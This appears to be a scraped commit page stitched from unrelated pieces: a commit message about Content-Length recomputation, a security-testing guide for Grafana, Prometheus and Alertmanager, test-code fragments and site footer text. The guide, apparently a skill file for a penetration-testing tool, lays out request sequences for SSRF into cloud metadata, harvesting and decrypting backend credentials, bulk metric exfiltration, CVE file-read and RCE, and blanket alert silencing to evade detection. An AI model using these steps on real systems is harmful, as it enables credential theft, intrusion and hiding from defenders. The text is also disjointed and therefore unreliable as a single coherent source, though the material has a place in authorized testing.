build_raw_request kept the Content-Length inherited from the captured
request, so replaying a modified body (repeat_request) emitted a request
whose declared length did not match the body — truncating the payload or
stalling the target. Drop any inherited Content-Length (case-insensitively)
and recompute it from the body actually being sent.
Adds tests covering a lengthened body, an emptied body, and the
no-inherited-header path.
Fixes#814
Co-authored-by: thejesh23 <thejesh23@users.noreply.github.com>
description:Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
---
# Grafana & Prometheus (Observability Stack)
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
## Attack Surface
**Grafana** (default `:3000`)
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
- Mitigation you'll see: remove `duckdb` from PATH.
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
```
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
No creds needed when anonymous access is on (common in demo/lab).
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
## Pivoting: Observability → Deeper Compromise
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
```
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
```
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
### 2. Grafana admin → harvest every backend credential
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
```
GET /api/datasources # host, port, db, user for 5–15 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
```
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db``secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
GET /api/v1/targets # every scrape target + discovery metadata labels
```
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
```
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
6.**Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
7.**Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
## Validation
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
## False Positives / Down-rate
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
## Impact
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
## Pro Tips
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
5.`*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
## Summary
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
# A body cleared to empty must not keep the inherited (non-zero) length.
_conn,raw=caido_api.build_raw_request(
method="POST",
url="https://example.com/x",
headers={"Content-Length":"12"},
body="",
)
assert_headers_named(raw,"Content-Length")==[]
class_Ctx:
def__init__(self,context:Any)->None:
self.context=context
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Alex Schapiro